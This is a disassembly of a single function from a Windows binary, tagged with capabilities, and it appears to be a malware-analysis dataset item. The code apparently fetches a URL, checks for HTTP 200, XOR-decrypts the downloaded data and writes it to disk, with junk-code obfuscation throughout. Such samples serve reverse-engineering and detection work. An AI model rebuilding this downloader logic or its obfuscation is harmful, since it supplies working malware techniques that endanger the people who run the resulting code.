Function at 0x40ee50
Capabilities:
Check http status code
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeac
mov eax, dword [0x433008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0xe74], 0xe83d
mov dword [ebp - 0xdc4], 0x12a80
mov dword [ebp - 0xdbc], 0x5427
mov dword [ebp - 0xdb8], 0xa8f8
mov dword [ebp - 0xdc0], 0xf69a
push 0
push 0
push 0
push 1
push 0x4304d8
call dword [0x4360bc]
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0
jne 0x40eebf
xor eax, eax
jmp 0x41094b
push 0
push 0x80000000
push 0
push 0
push 4
push 0x23
push 0x433a70
call fcn.0040b100
add esp, 0xc
push eax
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4360c0]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0xdc8], 0
jne 0x40ef0c
mov ecx, dword [ebp - 0xdcc]
push ecx
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
mov dword [ebp - 0xd54], 0
mov dword [ebp - 0xd58], 4
push 0
lea edx, [ebp - 0xd58]
push edx
lea eax, [ebp - 0xd54]
push eax
push 0x20000013
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4360c8]
cmp dword [ebp - 0xd54], 0xc8
je 0x40ef6f
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4360cc]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
mov dword [ebp - 0xdb4], 0
mov dword [ebp - 0xd5c], 4
push 0
lea ecx, [ebp - 0xd5c]
push ecx
lea edx, [ebp - 0xdb4]
push edx
push 0x20000005
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4360c8]
cmp dword [ebp - 0xdb4], 0
ja 0x40efcf
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4360cc]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
mov dword [ebp - 0xd48], 0
lea eax, [ebp - 0xd48]
push eax
push 1
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4360c4]
test eax, eax
je 0x40f003
cmp dword [ebp - 0xd48], 1
je 0x40f00a
xor eax, eax
jmp 0x41094b
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ebp + ecx - 0x120]
mov dword [ebp - 0xdf8], edx
lea eax, [ebp - 0xd48]
push eax
mov ecx, dword [ebp - 0xdf8]
push ecx
lea edx, [ebp - 0x120]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4360c4]
test eax, eax
je 0x40f054
mov ecx, dword [ebp - 0xd48]
cmp ecx, dword [ebp - 0xdf8]
je 0x40f075
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4360cc]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
lea ecx, [ebp - 0xd48]
push ecx
push 1
lea edx, [ebp - 0xd41]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4360c4]
test eax, eax
je 0x40f09f
cmp dword [ebp - 0xd48], 1
je 0x40f0c0
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4360cc]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
mov dword [ebp - 0xe08], 0
movzx eax, byte [ebp - 0xd41]
cmp eax, 0xb
jne 0x40f125
mov ecx, dword [ebp - 0xdf8]
push ecx
mov edx, dword [ebp - 0xd48]
push edx
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0xdb4]
push ecx
mov edx, dword [ebp - 0xdc8]
push edx
call fcn.0040e3e0
add esp, 0x14
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4360cc]
mov ecx, dword [ebp - 0xdcc]
push ecx
call dword [0x4360cc]
mov eax, 1
jmp 0x41094b
push 7
lea edx, [ebp - 0x20]
push edx
call fcn.0040e290
add esp, 8
lea eax, [ebp - 0x20]
push eax
push 0x104
lea ecx, [ebp - 0x738]
push ecx
call fcn.0041d058
add esp, 0xc
movzx edx, byte [ebp - 0xd41]
push edx
lea eax, [ebp - 0x738]
push eax
call fcn.0040ec10
add esp, 8
mov dword [ebp - 0xe38], 0
lea ecx, [ebp - 0x940]
push ecx
push 1
push 0
push 0x1c
mov edx, dword [ebp - 0xe38]
push edx
call dword [0x4360d8]
xor eax, eax
mov byte [ebp - 0xdce], al
lea ecx, [ebp - 0xe90]
push ecx
lea ecx, [ebp - 0xdce]
call fcn.00410960
mov dword [ebp - 0xde8], eax
mov dword [ebp - 0xde4], 0
jmp 0x40f1c1
mov edx, dword [ebp - 0xde4]
add edx, 1
mov dword [ebp - 0xde4], edx
cmp dword [ebp - 0xde4], 5
jae 0x40f223
mov eax, dword [ebp - 0xde4]
mov ecx, dword [ebp - 0xde8]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xe3c], edx
mov eax, dword [ebp - 0xe3c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xde8]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0xdfc], cx
mov ecx, dword [ebp - 0xde4]
mov edx, dword [ebp - 0xde8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0xe40], eax
mov ecx, dword [ebp - 0xe40]
mov dx, word [ebp - 0xdfc]
mov word [ecx], dx
jmp 0x40f1b2
mov eax, 5
shl eax, 1
mov ecx, dword [ebp - 0xde8]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0xe6c], edx
xor eax, eax
mov ecx, dword [ebp - 0xe6c]
mov word [ecx], ax
mov edx, dword [ebp - 0xde8]
add edx, 2
mov dword [ebp - 0xe68], edx
lea eax, [ebp - 0x738]
push eax
lea ecx, [ebp - 0x940]
push ecx
mov edx, dword [ebp - 0xe68]
push edx
push 0x104
lea eax, [ebp - 0x328]
push eax
call fcn.004010b0
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x328]
push ecx
call dword [0x4360f4]
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0xe04], 0xffffffff
jne 0x40f2cc
mov edx, dword [ebp - 0xdc8]
push edx
call dword [0x4360cc]
mov eax, dword [ebp - 0xdcc]
push eax
call dword [0x4360cc]
xor eax, eax
jmp 0x41094b
mov ecx, dword [ebp - 0xdb4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xdd4], eax
mov dword [ebp - 0xe64], 0
mov edx, dword [ebp - 0xe64]
cmp edx, dword [ebp - 0xdb4]
jae 0x41050d
mov dword [ebp - 0xd4c], 0
lea eax, [ebp - 0xd4c]
push eax
mov ecx, dword [ebp - 0xdb4]
push ecx
mov edx, dword [ebp - 0xdd4]
push edx
mov eax, dword [ebp - 0xdc8]
push eax
call dword [0x4360c4]
test eax, eax
je 0x40f33d
cmp dword [ebp - 0xd4c], 0
jne 0x40f342
jmp 0x41050d
mov dword [ebp - 0xdec], 0
jmp 0x40f35d
mov ecx, dword [ebp - 0xdec]
add ecx, 1
mov dword [ebp - 0xdec], ecx
mov edx, dword [ebp - 0xdec]
cmp edx, dword [ebp - 0xd4c]
jae 0x4104c6
mov eax, dword [ebp - 0xe08]
xor edx, edx
div dword [ebp - 0xdf8]
movzx eax, byte [ebp + edx - 0x120]
mov ecx, dword [ebp - 0xdd4]
add ecx, dword [ebp - 0xdec]
movzx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xdd4]
add eax, dword [ebp - 0xdec]
mov byte [eax], dl
mov ecx, dword [0x433a6c]
cmp ecx, dword [ebp - 0xdc4]
jge 0x40f491
mov edx, dword [0x4339f4]
mov dword [ebp - 0xe18], edx
jmp 0x40f3d3
mov eax, dword [ebp - 0xe18]
add eax, 1
mov dword [ebp - 0xe18], eax
mov ecx, dword [ebp - 0xe18]
cmp ecx, dword [ebp - 0xdbc]
jg 0x40f48c
mov edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xe34], edx
jmp 0x40f402
mov eax, dword [ebp - 0xe34]
sub eax, 1
mov dword [ebp - 0xe34], eax
mov ecx, dword [ebp - 0xe34]
cmp ecx, dword [0x433a20]
jle 0x40f487
call fcn.004043c0
mov dword [ebp - 0xdbc], eax
push str.0l4:N_perquisite_VQp_M:z0n_unheard
call fcn.004010e0
add esp, 4
mov ecx, dword [ebp - 0xdb8]
sub ecx, 0x5cea
mov eax, dword [ebp - 0xdc4]
cdq
mov esi, 0x384
idiv esi
sub ecx, eax
sub ecx, dword [ebp - 0xdb8]
or ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], ecx
mov edx, dword [ebp - 0xdb8]
sub edx, dword [ebp - 0xdc0]
add edx, dword [ebp - 0xdc4]
mov ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdbc]
sar edx, cl
or edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], edx
jmp 0x40f3f3
jmp 0x40f3c4
jmp 0x410498
mov eax, dword [ebp - 0xdc0]
cmp eax, dword [ebp - 0xdbc]
jne 0x40faa8
mov ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0xe14], ecx
jmp 0x40f4c0
mov edx, dword [ebp - 0xe14]
sub edx, 1
mov dword [ebp - 0xe14], edx
mov eax, dword [ebp - 0xe14]
cmp eax, dword [0x4339f4]
jb 0x40faa3
mov ecx, dword [0x433a20]
mov dword [ebp - 0xdf0], ecx
cmp dword [ebp - 0xdf0], 0xa734
jg 0x40f51f
cmp dword [ebp - 0xdf0], 0xa734
je 0x40f837
cmp dword [ebp - 0xdf0], 0x6864
je 0x40f611
cmp dword [ebp - 0xdf0], 0x7b51
je 0x40f919
jmp 0x40fa9e
cmp dword [ebp - 0xdf0], 0x16d1a
je 0x40f530
jmp 0x40fa9e
mov edx, dword [ebp - 0xdbc]
sub edx, dword [ebp - 0xdc0]
mov dword [0x433a20], edx
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], eax
mov eax, 0xd4ad
cdq
idiv dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], edx
mov ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdc4]
add edx, dword [ebp - 0xdb8]
sub edx, dword [ebp - 0xdc0]
mov dword [0x4339a4], edx
mov eax, 0x1850c
cdq
idiv dword [ebp - 0xdb8]
imul eax, eax, 0x7ad
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdbc]
add eax, ecx
mov dword [0x433a6c], eax
mov edx, dword [ebp - 0xdc0]
sub edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc4], edx
mov eax, dword [ebp - 0xdc0]
imul eax, dword [ebp - 0xdbc]
mov ecx, dword [ebp - 0xdc0]
sub ecx, eax
mov edx, dword [ebp - 0xdc0]
imul edx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdb8]
add edx, ecx
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
sub edx, 0x474d0654
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc4]
push eax
mov ecx, dword [ebp - 0xdc0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCommState]
mov dword [ebp - 0xdc4], eax
mov edx, dword [ebp - 0xdc4]
imul edx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdb8]
sub eax, edx
add eax, 0x16aad
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdc0]
push ecx
push 0xc6712
mov edx, dword [ebp - 0xdb8]
push edx
mov eax, dword [ebp - 0xdc4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdc0]
add ecx, 0x7963
mov dword [ebp - 0xdc4], ecx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
add edx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], edx
mov eax, 0xdcb0
cdq
idiv dword [ebp - 0xdbc]
mov ecx, 0x8e70
sub ecx, dword [ebp - 0xdb8]
sub ecx, 0x11859
shl eax, cl
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc4]
sub edx, dword [ebp - 0xdc4]
sub edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc4], edx
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
sub ecx, eax
mov dword [ebp - 0xdb8], ecx
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
imul edx, dword [ebp - 0xdbc]
sub edx, 0x183ac
mov dword [ebp - 0xdc4], edx
mov dword [ebp - 0xdc0], 0x8a95
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdc0]
push eax
mov ecx, dword [ebp - 0xdbc]
push ecx
call fcn.004018d0
add esp, 0xc
push str.CZ_QoN_szM5_sealant_trustful_choosy_wG3cQMm
call fcn.004010e0
add esp, 4
mov edx, dword [ebp - 0xdc4]
imul edx, dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc0], edx
push str.powers_fallguy_entailing_post_rollerskating
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0xdb8]
or eax, 0x115a4
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdb8]
cmp ecx, dword [0x433a30]
jg 0x40f6e0
mov edx, dword [ebp - 0xdb8]
cmp edx, dword [0x43393c]
jae 0x40f6c1
mov ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdc4]
sar eax, cl
mov ecx, dword [ebp - 0xdc0]
sar eax, cl
mov dword [ebp - 0xdc0], eax
mov ecx, dword [ebp - 0xdb8]
push ecx
push 0xed595
mov edx, dword [ebp - 0xdb8]
push edx
mov eax, dword [ebp - 0xdc4]
push eax
push 0
call dword [sym.imp.COMCTL32.dll_CreateMappedBitmap]
mov dword [ebp - 0xdbc], eax
mov eax, 0x10560
cdq
idiv dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [0x4339f4]
cmp ecx, dword [ebp - 0xdc4]
je 0x40f683
mov edx, dword [ebp - 0xdb8]
cmp edx, dword [0x433a30]
jge 0x40f683
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x8b8c
idiv ecx
add edx, dword [ebp - 0xdbc]
sub edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc0], edx
mov edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdc0]
mov edx, dword [ebp - 0xdb8]
lea eax, [edx + ecx + 0x176ef]
mov ecx, dword [ebp - 0xdc0]
shl eax, cl
and eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], eax
push str.transliteration_yzrI_hedonistic_typesetting_swallows
call fcn.004010e0
add esp, 4
mov ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], ecx
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov dword [ebp - 0xdc0], eax
mov eax, 0xf123
cdq
idiv dword [ebp - 0xdc0]
mov dword [0x433924], edx
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdc4]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
call fcn.00401c10
add esp, 0xc
mov ecx, dword [ebp - 0xdc4]
imul ecx, dword [ebp - 0xdc0]
mov edx, dword [ebp - 0xdc0]
sub edx, 0x17222
or ecx, edx
mov dword [ebp - 0xdc4], ecx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
imul eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdc4]
cmp eax, dword [0x43393c]
ja 0x40fa9e
mov ecx, dword [ebp - 0xdc0]
push ecx
mov edx, dword [ebp - 0xdc4]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
mov ecx, dword [ebp - 0xdbc]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
cmp dword [0x433a1c], eax
jae 0x40fa9e
mov edx, dword [ebp - 0xdc4]
push edx
call dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, dword [0x433acc]
jbe 0x40fa9e
mov eax, dword [0x433a1c]
cmp eax, dword [ebp - 0xdbc]
je 0x40fa9e
mov ecx, dword [ebp - 0xdb8]
add ecx, 0x17513
sub ecx, dword [ebp - 0xdc4]
mov edx, 0x10ee8
sar edx, cl
or edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
sub eax, dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdbc]
lea edx, [eax + ecx + 0x1c88]
mov dword [0x433a6c], edx
mov eax, dword [ebp - 0xdbc]
push eax
call dword [sym.imp.KERNEL32.dll_DecodePointer]
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], ecx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
mov eax, edx
cdq
idiv dword [ebp - 0xdb8]
add eax, dword [ebp - 0xdc0]
or eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], eax
mov esi, dword [ebp - 0xdb8]
sub esi, 0x3b98
mov ecx, dword [ebp - 0xdc4]
imul ecx, dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc0]
add ecx, eax
shl esi, cl
mov dword [0x433ab8], esi
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdbc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov dword [ebp - 0xdb8], eax
call fcn.00401120
mov ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], ecx
mov edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
jmp 0x40f4b1
jmp 0x410498
mov eax, dword [ebp - 0xdc4]
cmp eax, dword [0x4339f4]
jae 0x40fac4
mov ecx, dword [ebp - 0xdbc]
cmp ecx, dword [ebp - 0xdb8]
jne 0x40fae8
mov edx, dword [ebp - 0xdc0]
cmp edx, dword [ebp - 0xdb8]
jne 0x410393
mov eax, dword [ebp - 0xdc4]
cmp eax, dword [ebp - 0xdb8]
jle 0x410393
mov ecx, dword [ebp - 0xdc0]
cmp ecx, dword [0x4339a4]
jne 0x410236
mov edx, dword [ebp - 0xdc4]
cmp edx, dword [0x4339a4]
jl 0x410231
mov eax, dword [0x4339a4]
mov dword [ebp - 0xdf4], eax
cmp dword [ebp - 0xdf4], 0x10a1e
jg 0x40fb54
cmp dword [ebp - 0xdf4], 0x10a1e
je 0x40fde0
cmp dword [ebp - 0xdf4], 0x7360
je 0x40fb69
cmp dword [ebp - 0xdf4], 0xa83c
je 0x40fd0b
jmp 0x410193
cmp dword [ebp - 0xdf4], 0x16d21
je 0x40fecb
jmp 0x410193
mov dword [ebp - 0xdbc], 0x87f9
mov ecx, 0x264c
sub ecx, dword [ebp - 0xdb8]
imul edx, dword [ebp - 0xdb8], 0x151ba
imul edx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdbc]
sub eax, edx
or ecx, eax
mov dword [ebp - 0xdb8], ecx
mov ecx, dword [ebp - 0xdc0]
cmp ecx, dword [0x433a20]
jne 0x40fbe1
mov edx, dword [ebp - 0xdc0]
add edx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdc4]
imul eax, dword [ebp - 0xdbc]
mov ecx, dword [ebp - 0xdc0]
sub ecx, eax
add ecx, dword [ebp - 0xdc0]
or edx, ecx
mov dword [ebp - 0xdc0], edx
jmp 0x40fcf5
call fcn.004043c0
cmp eax, dword [0x4339f4]
jae 0x40fcf5
mov edx, 0x25bf
sub edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], edx
imul eax, dword [ebp - 0xdc4], 0x128ae
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdbc]
imul edx, dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdbc]
lea ecx, [eax + edx + 0xd61f]
mov dword [ebp - 0xdbc], ecx
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdc0]
mov ecx, edx
mov edx, dword [ebp - 0xdbc]
imul edx, dword [ebp - 0xdb8]
sub ecx, edx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
sub ecx, edx
mov dword [ebp - 0xdb8], ecx
mov eax, dword [ebp - 0xdbc]
cdq
mov ecx, 0x17e47
idiv ecx
sub eax, 0x8759
mov edx, 0x9ecd
mov ecx, eax
sar edx, cl
mov dword [ebp - 0xdb8], edx
imul eax, dword [ebp - 0xdc4], 0x1622c
mov dword [ebp - 0xdc4], eax
mov ecx, dword [0x433ab8]
cmp ecx, dword [ebp - 0xdb8]
je 0x40fc13
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc4]
sub ecx, edx
add ecx, dword [ebp - 0xdc0]
add ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], ecx
mov edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdb8], edx
mov eax, dword [0x433a30]
cmp eax, dword [ebp - 0xdb8]
jge 0x40fb69
jmp 0x41022c
push str.emancipating_WMfuPzZ_outplacement_rcC_WOg_X_kelp_h2yrZPb_anti
call fcn.004010e0
add esp, 4
mov ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc4]
or ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], ecx
imul edx, dword [ebp - 0xdb8], 0x8dad
sub edx, 0x1160b
mov eax, dword [ebp - 0xdc4]
sub eax, dword [ebp - 0xdc0]
or edx, eax
mov dword [ebp - 0xdc0], edx
mov ecx, dword [ebp - 0xdb8]
imul ecx, dword [ebp - 0xdbc]
sub ecx, dword [ebp - 0xdc0]
or ecx, dword [ebp - 0xdb8]
or ecx, dword [ebp - 0xdb8]
mov dword [0x4339a4], ecx
mov edx, dword [ebp - 0xdc4]
sub edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc4]
imul eax, dword [ebp - 0xdb8]
add eax, dword [ebp - 0xdc4]
or eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc0]
mov ecx, eax
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc0]
add ecx, dword [ebp - 0xdbc]
add edx, ecx
or edx, 0xb9d9
mov dword [ebp - 0xdc4], edx
mov edx, dword [ebp - 0xdb8]
and edx, 0x14e2b
mov dword [ebp - 0xdc0], edx
mov eax, 0xc295
cdq
idiv dword [ebp - 0xdc0]
mov ecx, eax
add ecx, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc0]
sub ecx, eax
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdc4]
sub edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
call fcn.00401120
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc4]
mov eax, dword [ebp - 0xdbc]
lea edx, [eax + edx + 0x133ff]
mov ecx, dword [ebp - 0xdbc]
imul ecx, dword [ebp - 0xdc0]
shl edx, cl
mov dword [ebp - 0xdc0], edx
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdb8], eax
mov ecx, dword [ebp - 0xdc0]
sub ecx, dword [ebp - 0xdb8]
add ecx, dword [ebp - 0xdc0]
add ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], ecx
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
mov dword [ebp - 0xdb8], edx
mov ecx, dword [ebp - 0xdbc]
add ecx, 0x6903
imul esi, dword [ebp - 0xdc4], 0x94c4
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
add esi, eax
or ecx, esi
mov dword [ebp - 0xdc4], ecx
mov eax, 0x10110
cdq
idiv dword [ebp - 0xdc4]
mov eax, edx
cdq
idiv dword [ebp - 0xdbc]
sub eax, dword [ebp - 0xdb8]
and eax, 0x6457
mov dword [ebp - 0xdc0], eax
mov edx, dword [0x433a30]
mov dword [ebp - 0xe1c], edx
jmp 0x40ff0e
mov eax, dword [ebp - 0xe1c]
sub eax, 1
mov dword [ebp - 0xe1c], eax
mov ecx, dword [ebp - 0xe1c]
cmp ecx, dword [ebp - 0xdb8]
jne 0x410193
mov edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc4]
push eax
call fcn.00401300
add esp, 4
mov ecx, dword [ebp - 0xdbc]
imul ecx, dword [ebp - 0xdc0]
add ecx, dword [ebp - 0xdb8]
mov dword [0x433a6c], ecx
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdbc]
mov edx, dword [ebp - 0xdb8]
sub edx, eax
or edx, 0x1025
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdb8]
mov dword [0x433acc], eax
mov eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.004016b0
add esp, 4
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdbc]
lea edx, [eax + edx - 0x10151]
mov ecx, 0xc360
sub ecx, dword [ebp - 0xdbc]
sar edx, cl
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdb8]
add eax, 0x84ef
mov ecx, dword [ebp - 0xdbc]
imul ecx, dword [ebp - 0xdc0]
sub eax, ecx
add eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], eax
mov edx, dword [ebp - 0xdb8]
imul edx, dword [ebp - 0xdc0]
imul edx, dword [ebp - 0xdc0]
and edx, dword [ebp - 0xdc4]
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdbc]
add edx, dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdb8]
mov ecx, edx
sar eax, cl
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdc4]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
mov ecx, dword [ebp - 0xdc0]
push ecx
call dword [sym.imp.GDI32.dll_CheckColorsInGamut]
mov dword [ebp - 0xdbc], eax
mov edx, dword [ebp - 0xdc0]
sub edx, dword [ebp - 0xdbc]
or edx, dword [ebp - 0xdc0]
mov dword [0x433a1c], edx
imul eax, dword [ebp - 0xdbc], 0x14ba
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x1769
idiv ecx
mov ecx, eax
sub ecx, dword [ebp - 0xdbc]
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdbc]
add ecx, eax
and ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdb8], ecx
mov esi, dword [ebp - 0xdc0]
imul esi, dword [ebp - 0xdc0]
add esi, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdc0]
mov ecx, edx
shl esi, cl
mov dword [0x433a68], esi
mov edx, dword [0x4339f4]
cmp edx, dword [ebp - 0xdb8]
jb 0x41001c
mov eax, dword [0x433a68]
cmp eax, dword [ebp - 0xdb8]
je 0x40ff9a
push str.rovers_offprint_modelling_UpVv23rH_doctorate
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0xdc0]
cdq
idiv dword [ebp - 0xdbc]
add edx, dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc0], edx
mov ecx, dword [ebp - 0xdbc]
sub ecx, 0x179ab
mov dword [ebp - 0xdc4], ecx
mov edx, dword [ebp - 0xdb8]
cmp edx, dword [0x433acc]
jbe 0x40ff20
jmp 0x40feff
mov eax, dword [ebp - 0xdc4]
imul eax, dword [ebp - 0xdc4]
imul eax, dword [ebp - 0xdb8]
